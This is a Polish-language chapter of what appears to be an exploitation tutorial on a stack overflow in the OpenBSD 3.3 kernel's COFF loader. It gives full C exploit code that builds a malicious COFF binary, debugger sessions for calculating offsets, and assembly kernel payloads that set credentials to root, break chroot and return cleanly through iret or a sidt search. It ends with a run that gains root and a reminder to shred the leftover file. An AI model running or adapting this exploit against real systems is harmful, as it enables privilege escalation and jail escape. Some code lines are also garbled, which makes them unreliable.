Wykorzystywanie luk w jądrze systemu Unix

W Części 25 szczegółowo omówiliśmy dwie główne luki w zabezpieczeniach jądra; tu przejdziemy do wykorzystania tych luk. Podstawowym problemem związanym z wykorzystywaniem luk, zwłaszcza luk jądra, jest osiągalność. Przyjrzyjmy się kilku kreatywnym metodom robienia tego z podatnością OpenBSD opisaną w Części 25.

Luka w zabezpieczeniach exec_ibcs2_coff_prep_zmagic()

Aby dotrzeć do luki w exec_ibcs2_coff_prep_zmagic(), musimy skonstruować najmniejszy możliwy fałszywy plik binarny COFF. W tej sekcji omówiono sposób tworzenia tego fałszywego pliku wykonywalnego. Kilka struktur związanych z COFF zostanie wprowadzonych, wypełnionych odpowiednimi wartościami i zapisanych w fałszywym pliku COFF. Aby dostać się do podatnego kodu, musimy mieć określone nagłówki, takie jak nagłówek pliku, nagłówek aout i nagłówki sekcji dołączone od początku pliku wykonywalnego. Jeśli nie mamy żadnej z tych sekcji, poprzednie funkcje obsługi wykonywalnej COFF zwrócą błąd i nigdy nie dotrzemy do podatnej na ataki funkcji vn_rdwr().

Pseudokod dla minimalnego układu fałszywego pliku wykonywalnego COFF wygląda następująco:

Nagłówek pliku

Aout nagłówek

Nagłówek sekcji (.text)

Nagłówek sekcji (.data)

Nagłówek sekcji (.shlib)

Poniższy kod exploita utworzy fałszywy plik wykonywalny COFF, który będzie wystarczający do zmiany wykonania kodu poprzez nadpisanie zapisanego adresu zwrotnego. Różne szczegóły dotyczące exploita przedstawiono w dalszej części tego rozdziału; na razie powinniśmy skoncentrować się tylko na tworzeniu pliku wykonywalnego COFF.

```
------------------------------ obsd_ex1.c -------------------------------

/** creates a fake COFF executable with large .shlib section size **/

#include <stdio.h>

#include <sys/types.h>

#include <fcntl.h>

#include <unistd.h>
```

```
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
unsigned char shellcode[] =
“\xcc\xcc”; /* only int3 (debug interrupt) at the moment */
#define ZERO(p) memset(&p, 0x00, sizeof(p))
/*
* COFF file header
*/
struct coff_filehdr {
u_short f_magic; /* magic number */
u_short f_nscns; /* # of sections */
long f_timdat; /* timestamp */
long f_symptr; /* file offset of symbol table */
long f_nsyms; /* # of symbol table entries */
u_short f_opthdr; /* size of optional header */
u_short f_flags; /* flags */
};
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c
/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100
/*
* COFF system header
*/
```

```
struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;
};
/* magic */
#define COFF_ZMAGIC 0413
/*
* COFF section header
*/
struct coff_scnhdr {
char s_name[8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_flags;
};
/* s_flags */
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_SHLIB 0x800
```

```
int
main(int argc, char **argv)
{
u_int i, fd, debug = 0;
u_char *ptr, *shptr;
u_long *lptr, offset;
char *args[] = { "./ibcs2own", NULL};
char *envs[] = { "RIP=theo", NULL};
//COFF structures
struct coff_filehdr fhdr;
struct coff_aouthdr ahdr;
struct coff_scnhdr scn0, scn1, scn2;
if(argv[1]) {
if(!strncmp(argv[1], "-v", 2))
debug = 1;
else {
printf("-v: verbose flag only\n");
exit(0);
}
}
ZERO(fhdr);
fhdr.f_magic = COFF_MAGIC_I386;
fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
fhdr.f_timdat = 0xdeadbeef;
fhdr.f_symptr = 0x4000;
fhdr.f_nsyms = 1;
fhdr.f_opthdr = sizeof(ahdr); //AOUT header size
fhdr.f_flags = COFF_F_EXEC;
ZERO(ahdr);
ahdr.a_magic = COFF_ZMAGIC;
ahdr.a_tsize = 0;
```

```
ahdr.a_dsize = 0;
ahdr.a_bsize = 0;
ahdr.a_entry = 0x10000;
ahdr.a_tstart = 0;
ahdr.a_dstart = 0;
ZERO(scn0);
memcpy(&scn0.s_name, ".text", 5);
scn0.s_paddr = 0x10000;
scn0.s_vaddr = 0x10000;
scn0.s_size = 4096;
//file offset of .text segment
scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
scn0.s_relptr = 0;
scn0.s_lnnoptr = 0;
scn0.s_nreloc = 0
scn0.s_nlnno = 0;
scn0.s_flags = COFF_STYP_TEXT;
ZERO(scn1);
memcpy(&scn1.s_name, ".data", 5);
scn1.s_paddr = 0x10000 - 4096;
scn1.s_vaddr = 0x10000 - 4096;
scn1.s_size = 4096;
//file offset of .data segment
scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
scn1.s_relptr = 0;
scn1.s_lnnoptr = 0;
scn1.s_nreloc = 0;
scn1.s_nlnno = 0;
scn1.s_flags = COFF_STYP_DATA;
ZERO(scn2);
memcpy(&scn2.s_name, ".shlib", 6);
```

```
scn2.s_paddr = 0;
scn2.s_vaddr = 0;
//overflow vector!!!
scn2.s_size = 0xb0; /* offset from start of buffer to saved eip */
//file offset of .shlib segment
scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + (2*4096);
scn2.s_relptr = 0;
scn2.s_lnnoptr = 0;
scn2.s_nreloc = 0;
scn2.s_nlnno = 0;
scn2.s_flags = COFF_STYP_SHLIB;
ptr = (char *) malloc(sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + \
3*4096);
memset(ptr, 0xcc, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096);
memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
offset = sizeof(fhdr);
memcpy((char *) (ptr+offset), (char *) &ahdr, sizeof(ahdr));
offset += sizeof(ahdr);
memcpy((char *) (ptr+offset), (char *) &scn0, sizeof(scn0));
offset += sizeof(scn0);
memcpy((char *) (ptr+offset), (char *) &scn1, sizeof(scn1));
offset += sizeof(scn1);
memcpy((char *) (ptr+offset), (char *) &scn2, sizeof(scn2));
lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
(sizeof(scn0)*3) + (2*4096) + 0xb0 - 8);
shptr = (char *) malloc(4096);
if(debug)
printf("payload adr: 0x%.8x\n", shptr);
memset(shptr, 0xcc, 4096);
*lptr++ = 0xdeadbeef;
*lptr = (u_long) shptr;
```

```
memcpy(shptr, shellcode, sizeof(shellcode)-1);

unlink(“./ibcs2own”); /* remove the leftovers from prior executions */

if((fd = open(“./ibcs2own”, O_CREAT^O_RDWR, 0755)) < 0) {

perror(“open”);

exit(-1);

}

write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + (4096*3));

close(fd);

free(ptr);

execve(args[0], args, envs);

perror(“execve”);

}
```

Skompilujmy ten kod:

```
bash-2.05b# uname -a

OpenBSD the0.wideopenbsd.net 3.3 GENERIC#44 i386

bash-2.05b# gcc -o obsd_ex1 obsd_ex1.c
```

Obliczanie przesunięć i punktów przerwania

Przed uruchomieniem jakiegokolwiek exploita jądra należy zawsze skonfigurować debuger jądra. W ten sposób będziesz mógł wykonywać różne obliczenia w celu uzyskania kontroli wykonania. W tym exploicie użyjemy ddb, debugera jądra. Wpisz następujące polecenia, aby upewnić się, że ddb jest poprawnie skonfigurowany. Pamiętaj, że powinieneś mieć jakiś rodzaj dostępu do konsoli w celu debugowania jądra OpenBSD.

```
bash-2.05b# sysctl -w ddb.panic=1

ddb.panic: 1 -> 1

bash-2.05b# sysctl -w ddb.console=1

ddb.console: 1 -> 1
```

Pierwsze polecenie sysctl konfiguruje ddb do uruchamiania po wykryciu paniki jądra, a drugie udostępni ddb z konsoli w dowolnym momencie za pomocą kombinacji klawiszy ESC+CTRL+ALT.

```
bash-2.05b# objdump -d --start-address=0xd048ac78 --stopaddress=

0xd048c000\

> /bsd | more

/bsd: file format a.out-i386-netbsd

Disassembly of section .text:
```

d048ac78 <_exec_ibcs2_coff_prep_zmagic>:

d048ac78: 55 push %ebp

d048ac79: 89 e5 mov %esp,%ebp

d048ac7b: 81 ec bc 00 00 00 sub $0xbc,%esp

d048ac81: 57 push %edi

[deleted]

d048af5d: c9 leave

d048af5e: c3 ret

^C

bash-2.05b# objdump -d --start-address=0xd048ac78 --stopaddress=

0xd048af5e\

> /bsd | grep vn_rdwr

d048aef3: e8 70 1b d7 ff call d01fca68 <_vn_rdwr>

W tym przykładzie 0xd048aef3 jest adresem naruszającej funkcji vn_rdwr. Aby obliczyć odległość między zapisanym adresem powrotu a buforem stosu, będziemy musieli ustawić punkt przerwania w punkcie wejścia (prologu) funkcji exec_ibcs2_coff_prep_zmagic() i kolejny w nieodpowiedniej funkcji vn_rdwr(). Spowoduje to obliczenie właściwej odległości między argumentem bazowym a zapisanym adresem zwrotnym (również zapisanym wskaźnikiem bazowym).

CTRL+ALT+ESC

bash-2.05b# Stopped at _Debugger+0x4: leave

ddb> x/i 0xd048ac78

_exec_ibcs2_coff_prep_zmagic: pushl %ebp

ddb> x/i 0xd048aef3

_exec_ibcs2_coff_prep_zmagic+0x27b: call _vn_rdwr

ddb> break 0xd048ac78

ddb> break 0xd048aef3

ddb> cont

^M

bash-2.05b# ./obsd_ex1

Breakpoint at _exec_ibcs2_coff_prep_zmagic: pushl %ebp

ddb> x/x $esp,1

0xd4739c5c: d048a6c9 !!saved return address at: 0xd4739c5c

```
ddb> x/i 0xd048a6c9

_exec_ibcs2_coff_makecmds+0x61: movl %eax,%ebx

ddb> x/i 0xd048a6c9 - 5

_exec_ibcs2_coff_makecmds+0x5c: call

_exec_ibcs2_coff_prep_zmagic

ddb> cont

Breakpoint at _exec_ibcs2_coff_prep_zmagic+0x27b: call

_vn_rdwr

ddb> x/x $esp,3

0xd4739b60: 0 d46c266c d4739bb0

(base argument to vn_rdwr)

ddb> x/x $esp

0xd4739b60: 0

ddb> ^M

0xd4739b64: d46c266c

ddb> ^M

0xd4739b68: d4739bb0

|--> addr of ‘char buf[128]‘

ddb> x/x $ebp

0xd4739c58: d4739c88 --> saved %ebp

ddb> ^M

0xd4739c5c: d048a6c9 --> saved %eip

|-> addr on stack where the saved instruction pointer is stored
```

W konwencji wywoływania x86 (zakładając, że nie pominięto wskaźnika ramki, to znaczy -fomit-frame-pointer), wskaźnik bazowy zawsze wskazuje na lokalizację na stosie, w której przechowywany jest wskaźnik ramki i instrukcji. Aby obliczyć odległość między buforem stosu a zapisanym %eip, wykonywana jest następująca operacja:

```
ddb> print 0xd4739c5c - 0xd4739bb0

ac

ddb> boot sync
```

Odległość między adresem zapisanego adresu zwrotnego a buforem stosu wynosi 172 (0xac) bajtów. Ustawienie rozmiaru danych sekcji na 176 (0xb0) w nagłówku sekcji .shlib da nam kontrolę nad zapisanym adresem zwrotnym.

Nadpisywanie adresu zwrotnego i przekierowanie wykonania

Po obliczeniu lokalizacji adresu zwrotnego względem przepełnionego bufora, następujące wiersze kodu w obsd_ex1.c powinny mieć teraz większy sens:

[1] lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \

(sizeof(scn0)*3) + (2*4096) + 0xb0 - 8);

[2] shptr = (char *) malloc(4096);

if(debug)

printf("payload adr: 0x%.8x\t", shptr);

memset(shptr, 0xcc, 4096);

*lptr++ = 0xdeadbeef;

[3] *lptr = (u_long) shptr;

Zasadniczo w [1] przesuwamy wskaźnik lptr do lokalizacji w danych sekcji, która nadpisze zapisany wskaźnik bazowy oraz zapisany adres zwrotny. Po tej operacji zostanie przydzielony bufor sterty [2], który będzie używany do przechowywania ładunku jądra (jest to wyjaśnione później). Teraz 4 bajty w danych sekcji, które zostaną użyte do nadpisania adresu zwrotnego, są aktualizowane adresem tego nowo przydzielonego bufora sterty przestrzeni użytkownika [3]. Wykonywanie zostanie przechwycone i przekierowane do bufora sterty w przestrzeni użytkownika, który jest wypełniony tylko przerwaniami debugowania int3. Spowoduje to uruchomienie ddb.

bash-2.05b# ./obsd_ex1 -v

payload adr: 0x00005000

Stopped at 0x5001: int $3

ddb> x/i $eip,3

0x5001: int $3

0x5002: int $3

0x5003: int $3

Te piękne dane wyjściowe z debuggera jądra pokazują, że uzyskaliśmy pełną kontrolę nad wykonywaniem dzięki przywilejom jądra (SEL_KPL):

ddb> show registers

es 0x10

ds 0x10

..

ebp 0xdeadbeef

..

eip 0x5001 --> user-land address

cs 0x8

Umiejscowienie deskryptora procesu (lub struktury procesu)

Poniższe operacje umożliwią nam zebranie informacji o strukturze procesu, które są potrzebne do manipulacji danymi uwierzytelniającymi i ładunkami chroot. Istnieje wiele sposobów na zlokalizowanie struktury procesu. Dwie, o których przyjrzymy się w tej sekcji, to metoda wyszukiwania stosu, która nie jest zalecana w OpenBSD, oraz wywołanie systemowe sysctl().

Przeszukiwanie stosu

W jądrze OpenBSD, w zależności od podatnego interfejsu, wskaźnik struktury procesu może znajdować się w stałym adresie względem wskaźnika stosu. Tak więc, po uzyskaniu kontroli wykonania, możemy dodać stałe przesunięcie (delta między wskaźnikiem stosu a lokalizacją wskaźnika struktury proc) do wskaźnika stosu i pobrać wskaźnik do struktury proc. Z drugiej strony, w Linuksie jądro zawsze mapuje strukturę procesu na początek stosu jądra perprocess. Ta cecha Linuksa sprawia, że zlokalizowanie struktury procesu jest trywialne.

sysctl() Syscall

Sysctl to wywołanie systemowe do pobierania i ustawiania informacji na poziomie jądra z obszaru użytkownika. Posiada prosty interfejs do przekazywania danych z jądra do ziemi użytkownika iz powrotem. Interfejs sysctl jest podzielony na kilka podkomponentów, w tym jądro, sprzęt, pamięć wirtualną, sieć, system plików i interfejsy kontroli systemu architektury. Powinniśmy skoncentrować się na sysctls jądra, które są obsługiwane przez funkcję kern_sysctl().

Funkcja kern_sysctl() przypisuje również różne procedury obsługi do pewnych zapytań, takich jak struktura proc, częstotliwość taktowania, węzeł v i informacje o pliku. Struktura procesu jest obsługiwana przez funkcję sysctl_doproc(); jest to interfejs do informacji z jądra, których szukamy.

```
int

sysctl_doproc(name, namelen, where, sizep)

int *name;

u_int namelen;

char *where;

size_t *sizep;

{

...

[1] for (; p != 0; p = LIST_NEXT(p, p_list)) {

...

[2] switch (name[0]) {

case KERN_PROC_PID:

/* could do this with just a lookup */

[3] if (p->p_pid != (pid_t)name[1])
```

```
continue;

break;

...

}

....

if (buflen >= sizeof(struct kinfo_proc)) {

[4] fill_eproc(p, &eproc);

[5] error = copyout((caddr_t)p, &dp->kp_proc,

sizeof(struct proc));

....

void

fill_eproc(p, ep)

register struct proc *p;

register struct eproc *ep;

{

register struct tty *tp;

[6] ep->e_paddr = p;
```

Również dla sysctl_doproc() mogą istnieć różne typy zapytań obsługiwanych przez instrukcję switch [2]. KERN_PROC_PID wystarcza do zebrania potrzebnego adresu o strukturze proc dowolnego procesu. W przypadku przepełnienia select() wystarczyło zebranie adresu proc procesu nadrzędnego. Luka settimer() wykorzystuje interfejs sysctl() na wiele różnych sposobów (co zostanie omówione później). Kod sysctl_doproc() iteruje przez połączoną listę struktur proc [1], aby znaleźć żądany pid [3]. Jeśli zostaną znalezione, niektóre struktury (eproc i kp_proc) zostaną wypełnione w [4] i [5], a następnie skopiowane do obszaru użytkownika. Funkcja fill_eproc() (wywoływana z [4]) załatwia sprawę i kopiuje adres proc odpytanego pid do elementu e_paddr struktury eproc [6]. Z kolei adres proc jest ostatecznie kopiowany do obszaru użytkownika w strukturze kinfo_proc (która jest główną strukturą danych dla funkcji sysctl_doproc()). Więcej informacji na temat członków tych struktur można znaleźć w sys/sys/sysctl.h. Poniżej znajduje się funkcja, której użyjemy do pobrania struktury kinfo_proc:

```
void

get_proc(pid_t pid, struct kinfo_proc *kp)

{

u_int arr[4], len;

arr[0] = CTL_KERN;

arr[1] = KERN_PROC;

arr[2] = KERN_PROC_PID;
```

```
arr[3] = pid;

len = sizeof(struct kinfo_proc);

if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {

perror("sysctl");

exit(-1);

}

}
```

CTL_KERN zostanie wysłany do kern_sysctl() przez sys_sysctl(). KERN_PROC zostanie wysłany do sysctl_doproc() przez kern_sysctl(). Wspomniana wyżej instrukcja switch obsłuży KERN_PROC_PID, ostatecznie zwracając strukturę kinfo_proc.

Tworzenie ładunku w trybie jądra

W tej sekcji zajmiemy się opracowywaniem różnych małych ładunków, które ostatecznie zmodyfikują niektóre pola struktury proc procesu nadrzędnego, aby uzyskać podwyższone przywileje i wydostać się z chrootowanych środowisk więziennych. Następnie połączymy opracowany kod asemblera z kodem, który będzie działał w drodze powrotnej do środowiska użytkownika, dając nam w ten sposób nowe uprawnienia bez ograniczeń.

p_cred i u_cred

Zaczniemy od sekcji podnoszenia uprawnień w ładunku. Poniżej znajduje się kod asemblera, który zmienia ucred (dane uwierzytelniające użytkownika) i pcred (dane uwierzytelniające procesu) dowolnej struktury proc. Kod exploita wypełnia adres struktury proc swojego procesu nadrzędnego za pomocą wywołania systemowego sysctl() (omówionego w poprzedniej sekcji), zastępując .long 0x12345678. Początkowe instrukcje call i pop załadują adres podanego adresu struktury proc do %edi. Możesz użyć dobrze znanej techniki zbierania adresów używanej w prawie każdym szelkodzie, jak opisano w Phrack

```
call moo

.long 0x12345678 <-- pproc addr

.long 0xdeadcafe

.long 0xbeefdead

nop

nop

nop

moo:

pop %edi

mov (%edi),%ecx # parent's proc addr in ecx

# update p_ruid
```

mov 0x10(%ecx),%ebx # ebx = p->p_cred

xor %eax,%eax # eax = 0

mov %eax,0x4(%ebx) # p->p_cred->p_ruid = 0

update cr_uid

mov (%ebx),%edx # edx = p->p_cred->pc_ucred

mov %eax,0x4(%edx) # p->p_cred->pc_ucred->cr_uid = 0

Łamanie chroota

Następnie mały fragment kodu asemblera zostanie użyty jako wyłącznik chroot dla naszego ładunku ring 0. Nie wchodząc w skomplikowane szczegóły, przyjrzyjmy się pokrótce, jak chroot jest sprawdzany w poszczególnych procesach. Więzienia chroot są implementowane przez wypełnienie elementu fd_rdir w filedesc (struktura otwartych plików) odpowiednim wskaźnikiem vnode katalogów więzienia. Kiedy jądro obsługuje dany proces dla określonych żądań, sprawdza, czy ten wskaźnik jest wypełniony określonym węzłem wirtualnym. Jeśli zostanie znaleziony węzeł v, określony proces będzie obsługiwany inaczej. Jądro tworzy pojęcie nowego katalogu głównego dla tego procesu, w ten sposób umieszczając go w predefiniowanym katalogu. W przypadku procesu niechrootowanego ten wskaźnik ma wartość zero/nie jest ustawiony. Bez wchodzenia w dalsze szczegóły dotyczące implementacji, ustawienie tego wskaźnika na NULL przerywa chroot. fd_rdir jest wskazywany przez strukturę proc jako

następuje:

p->p_fd->fd_rdir

Podobnie jak w przypadku struktury poświadczeń, filedesc jest również trywialny w dostępie i zmianach za pomocą tylko dwóch instrukcji do naszego ładunku:

update p->p_fd->fd_rdir to break chroot()

mov 0x14(%ecx),%edx # edx = p->p_fd

mov %eax,0xc(%edx) # p->p_fd->fd_rdir = 0

Powrót z Kernel Payload

Po zmianie pewnych pól struktury proc, uzyskaniu podwyższonych uprawnień i ucieczce z więzienia chroot, musimy wznowić normalne działanie systemu. Zasadniczo musimy wrócić do trybu użytkownika, co oznacza proces, który wysłał wywołanie systemowe, lub wrócić do kodu jądra. Powrót do trybu użytkownika za pomocą instrukcji iret jest prosty i bezpośredni; niestety czasami nie jest to możliwe, ponieważ jądro może mieć zablokowane pewne obiekty synchronizacji, takie jak blokady mutex i blokady rdwr. W takich przypadkach będziesz musiał wrócić do adresu w kodzie jądra, który odblokuje te obiekty synchronizacji, oszczędzając w ten sposób awarii jądra. Niektórzy ze społeczności hakerskiej źle ocenili powrót do kodu jądra; Zachęcamy ich, aby wykorzystali tę metodę do zbadania bardziej podatnego kodu jądra i spróbowali opracować dla niego exploity. W praktyce staje się jasne, że powrót do kodu jądra, w którym odblokowywane są obiekty synchronizacji, jest najlepszym rozwiązaniem do wznowienia przepływu systemu. Jeśli nie mamy takiego stanu, po prostu stosujemy technikę iret.

Powrót do trybu użytkownika: technika iret

Poniższy kod to program obsługi wywołań systemowych, który jest wywoływany z procedury przerwania (ISR). Ta funkcja wywołuje wysokopoziomową (napisaną w C) obsługę wywołań systemowych [1] i, po powrocie rzeczywistego wywołania systemowego, ustawia rejestry i powraca do trybu użytkownika [2].

```
IDTVEC(syscall)

pushl $2 # size of instruction for restart

syscall1:

pushl $T_ASTFLT # trap # for doing ASTs

INTRENTRY

movl _C_LABEL(cpl),%ebx

movl TF_EAX(%esp),%esi # syscall no

[1] call _C_LABEL(syscall)

2: /* Check for ASTs on exit to user mode. */

cli

cmpb $0,_C_LABEL(astpending)

je 1f

/* Always returning to user mode here. */

movb $0,_C_LABEL(astpending)

sti

/* Pushed T_ASTFLT into tf_trapno on entry. */

call _C_LABEL(trap)

jmp 2b

1: cmpl _C_LABEL(cpl),%ebx

jne 3f

[2] INTRFASTEXIT

#define INTRFASTEXIT \

popl %es ; \

popl %ds ; \

popl %edi ; \

popl %esi ; \

popl %ebp ; \

popl %ebx ; \
```

```
popl %edx ; \
popl %ecx ; \
popl %eax ; \
addl $8,%esp ; \
iret
```

Zaimplementujemy następującą procedurę opartą na poprzedniej początkowej i końcowej obsłudze wywołań systemowych, emulując powrót z operacji przerwania.

```
cli
# set up various selectors for user-land
# es = ds = 0x1f
pushl $0x1f
popl %es
pushl $0x1f
popl %ds
# esi = esi = 0x00
pushl $0x00
popl %edi
pushl $0x00
popl %esi
# ebp = 0xdfbfd000
pushl $0xdfbfd000
popl %ebp
# ebx = edx = ecx = eax = 0x00
pushl $0x00
popl %ebx
pushl $0x00
popl %edx
pushl $0x00
popl %ecx
pushl $0x00
popl %eax
```

pushl $0x1f # ss = 0x1f

pushl $0xdfbfd000 # esp = 0xdfbfd000

pushl $0x287 # eflags

pushl $0x17 # cs user-land code segment selector

set set user mode instruction pointer in exploit code

pushl $0x00000000 # empty slot for ring3 %eip

iret

Wróć do kodu jądra: technika sidt i _kernel_text Search

Ta technika powrotu do trybu użytkownika zależy od rejestru tablicy deskryptorów przerwań (IDTR). Zawiera początkowy adres tablicy deskryptorów przerwań (IDT). Bez wchodzenia w niepotrzebne szczegóły, IDT jest tabelą, która przechowuje procedury obsługi przerwań dla różnych wektorów przerwań. Liczba reprezentuje każde przerwanie w x86 od 0 do 255; te liczby nazywane są wektorami przerwań. Te wektory są używane do zlokalizowania początkowej procedury obsługi dla dowolnego przerwania wewnątrz IDT. IDT zawiera 256 wpisów po 8 bajtów każdy. Mogą istnieć trzy różne typy wpisów deskryptorów IDT, ale skoncentrujemy się tylko na deskryptorze bramy systemowej. Deskryptor bramki pułapki jest używany do ustawienia początkowego programu obsługi wywołań systemowych omówionego w poprzedniej sekcji.

sys/arch/i386/machdep.c line 2265

setgate(&idt[128], &IDTVEC(syscall), 0, SDT_SYS386TGT, SEL_UPL,

GCODE_SEL);

sys/arch/i386/include/segment.h line 99

struct gate_descriptor {

unsigned gd_looffset:16; /* gate offset (lsb) */

unsigned gd_selector:16; /* gate segment selector */

unsigned gd_stkcpy:5; /* number of stack wds to cpy */

unsigned gd_xx:3; /* unused */

unsigned gd_type:5; /* segment type */

unsigned gd_dpl:2; /* segment descriptor priority

level */

unsigned gd_p:1; /* segment descriptor present */

unsigned gd_hioffset:16; /* gate offset (msb) */

}

[delete]

line 240

#define SDT_SYS386TGT 15 /* system 386 trap gate */

Elementy gate_descriptor, gd_looffset i gd_hioffset, utworzą adres obsługi przerwań niskiego poziomu. Więcej informacji na temat tych różnych dziedzin można znaleźć w podręcznikach architektury pod adresem www.intel.com/design/Pentium4/documentation.htm.

Interfejs wywołań systemowych do żądania usług jądra jest implementowany przez przerwanie inicjowane przez oprogramowanie 0x80. Uzbrojony w te informacje, zacznij od adresu obsługi przerwań wywołania systemowego niskiego poziomu i przejdź przez tekst jądra. Możesz teraz znaleźć drogę do wysokopoziomowego modułu obsługi wywołań systemowych i wreszcie do niego wrócić. IDT w OpenBSD nazywa się _idt_region, a slot 0x80 jest deskryptorem bramki systemowej dla przerwania wywołania systemowego. Ponieważ każdy element IDT ma 8 bajtów, wywołanie systemowe gate_descriptor ma adres _idt_region + 0x80 * 0x8, czyli _idt_region + 0x400.

bash-2.05b# Stopped at _Debugger+0x4: leave

ddb> x/x _idt_region+0x400

_idt_region+0x400: 80e4c

ddb> ^M

_idt_region+0x404: e010ef00

Aby wydedukować początkowy program obsługi wywołania systemowego, musimy wykonać odpowiednie przesunięcie i/lub operacje na polach bitowych deskryptora bramek systemowych. Doprowadzi nas to do adresu jądra 0xe0100e4c.

bash-2.05b# Stopped at _Debugger+0x4: leave

ddb> x/x 0xe0100e4c

_Xosyscall_end: pushl $0x2

ddb> ^M

_Xosyscall_end+0x2: pushl $0x3

...

...

_Xosyscall_end+0x20: call _syscall

...

Podobnie jak w przypadku wyjątku lub przerwania inicjowanego przez oprogramowanie, odpowiedni wektor znajduje się w IDT. Egzekucja jest przekierowywana do przewodnika zebranego z jednego z deskryptorów bramy. Ten handler jest znany jako pośredniczący, co ostatecznie doprowadzi nas do prawdziwego handlera. Jak widać w danych wyjściowych debuggera jądra, początkowy program obsługi _Xosyscall_end zapisuje wszystkie rejestry (także kilka innych operacji niskopoziomowych) i natychmiast wywołuje prawdziwy program obsługi, _syscall(). Wspomnieliśmy, że rejestr idtr zawsze zawiera adres regionu_idt_. Potrzebujemy teraz metody dostępu do jej zawartości.

sidt 0x4(%edi)

mov 0x6(%edi),%ebx

Adres regionu _idt_region zostaje przeniesiony do ebx; teraz IDT można odwoływać się przez ebx. Kod asemblera zbierający procedurę obsługi syscall z początkowej procedury obsługi wygląda następująco:

```
sidt 0x4(%edi)

mov 0x6(%edi),%ebx # mov _idt_region is in ebx

mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400]

mov 0x404(%ebx),%ecx # _idt_region[0x404]

shr $0x10,%ecx #

sal $0x10,%ecx # ecx = gd_hioffset

sal $0x10,%edx #

shr $0x10,%edx # edx = gd_looffset

or %ecx,%edx # edx = ecx | edx = _Xosyscall_end
```

Na tym etapie udało nam się znaleźć lokalizację początkowego/pośredniego przewodnika. Następnym logicznym krokiem jest przeszukanie tekstu jądra, znalezienie call_syscall i zebranie przesunięcia instrukcji wywołania i dodanie go do adresu lokalizacji instrukcji. Dodatkowo do przesunięcia należy dodać wartość 5 bajtów, aby skompensować rozmiar samej instrukcji wywołania.

```
xor %ecx,%ecx # zero out the counter

up:

inc %ecx

movb (%edx,%ecx),%bl # bl = _Xosyscall_end++

cmpb $0xe8,%bl # if bl == 0xe8 : ‘call’

jne up

lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall

inc %ecx

mov (%edx,%ecx),%ecx # take the displacement of the call ins.

add $0x5,%ecx # add 5 to displacement

add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall()
```

Teraz %ecx przechowuje adres prawdziwego handlera, _syscall(). Następnym krokiem jest znalezienie miejsca powrotu wewnątrz funkcji syscall(); doprowadzi to w końcu do szerszych badań nad różnymi wersjami OpenBSD z różnymi opcjami kompilacji jądra. Na szczęście okazuje się, że możemy bezpiecznie wyszukać instrukcję call *%eax wewnątrz funkcji _syscall(). Okazuje się, że jest to instrukcja, która wysyła każde wywołanie systemowe do ostatecznego modułu obsługi w każdej testowanej wersji OpenBSD. Dla OpenBSD 2.6 do 3.3, kod jądra zawsze wysyłał wywołania systemowe z instrukcją call *%eax, która jest unikalna w zakresie funkcji _syscall().

```
bash-2.05b# Stopped at _Debugger+0x4: leave

ddb> x/i _syscall+0x240
```

_syscall+0x240: call *%eax

ddb>cont

Naszym celem jest teraz ustalenie offsetu (w tym przypadku 0x240) dla dowolnej wersji systemu operacyjnego. Chcemy wrócić do instrukcji zaraz po wywołaniu *%eax z naszego ładunku i wznowić wykonywanie jądra. Kod wyszukiwania jest następujący:

#search for opcode: ffd0 ie: call *%eax

mov %ecx,%edi

mule:

mov $0xff,%al

cld

mov $0xffffffff,%ecx

repnz scas %es:(%edi),%al

ok, start with searching 0xff

mov (%edi),%bl

cmp $0xd0,%bl # check if 0xff is followed by 0xd0

jne mule # if not start over

inc %edi # good found!

xor %eax,%eax #set up return value

push %edi #push address on stack

ret #jump to found address

Wreszcie, ta ładowność to wszystko, czego potrzebujemy do czystego zwrotu. Może być używany do dowolnego przepełnienia wywołania systemowego bez konieczności dalszej modyfikacji.

- %ebp fixup

Jeśli użyliśmy techniki sidt do wznowienia wykonywania, musimy również naprawić uszkodzony wskaźnik zapisanej klatki, aby zapobiec awariom podczas działania funkcji syscall. Możesz obliczyć znaczący wskaźnik bazowy, ustawiając punkt przerwania w prologu podatnej funkcji, a także inny punkt przerwania przed instrukcją opuszczania w epilogu. Teraz oblicz różnicę między %ebp zarejestrowanym w prologu a %esp zarejestrowanym tuż przed powrotem do dzwoniącego. Poniższa instrukcja ustawi %ebp dla tej konkretnej luki z powrotem na rozsądną wartość:

lea 0x68(%esp),%ebp # fixup ebp

Uzyskiwanie roota (uid=0)

Na koniec łączymy wszystkie poprzednie sekcje i docieramy do ostatecznego kodu exploita, który podniesie uprawnienia do rootowania i złamania wszelkich możliwych więzień chroot.

-bash-2.05b$ uname -a

```
OpenBSD the0.wideopenbsd.net 3.3 GENERIC#44 i386
-bash-2.05b$ gcc -o the0therat coff_ex.c
-bash-2.05b$ id
uid=1000(noir) gid=1000(noir) groups=1000(noir)
-bash-2.05b$ ./the0therat
DO NOT FORGET TO SHRED ./ibcs2own
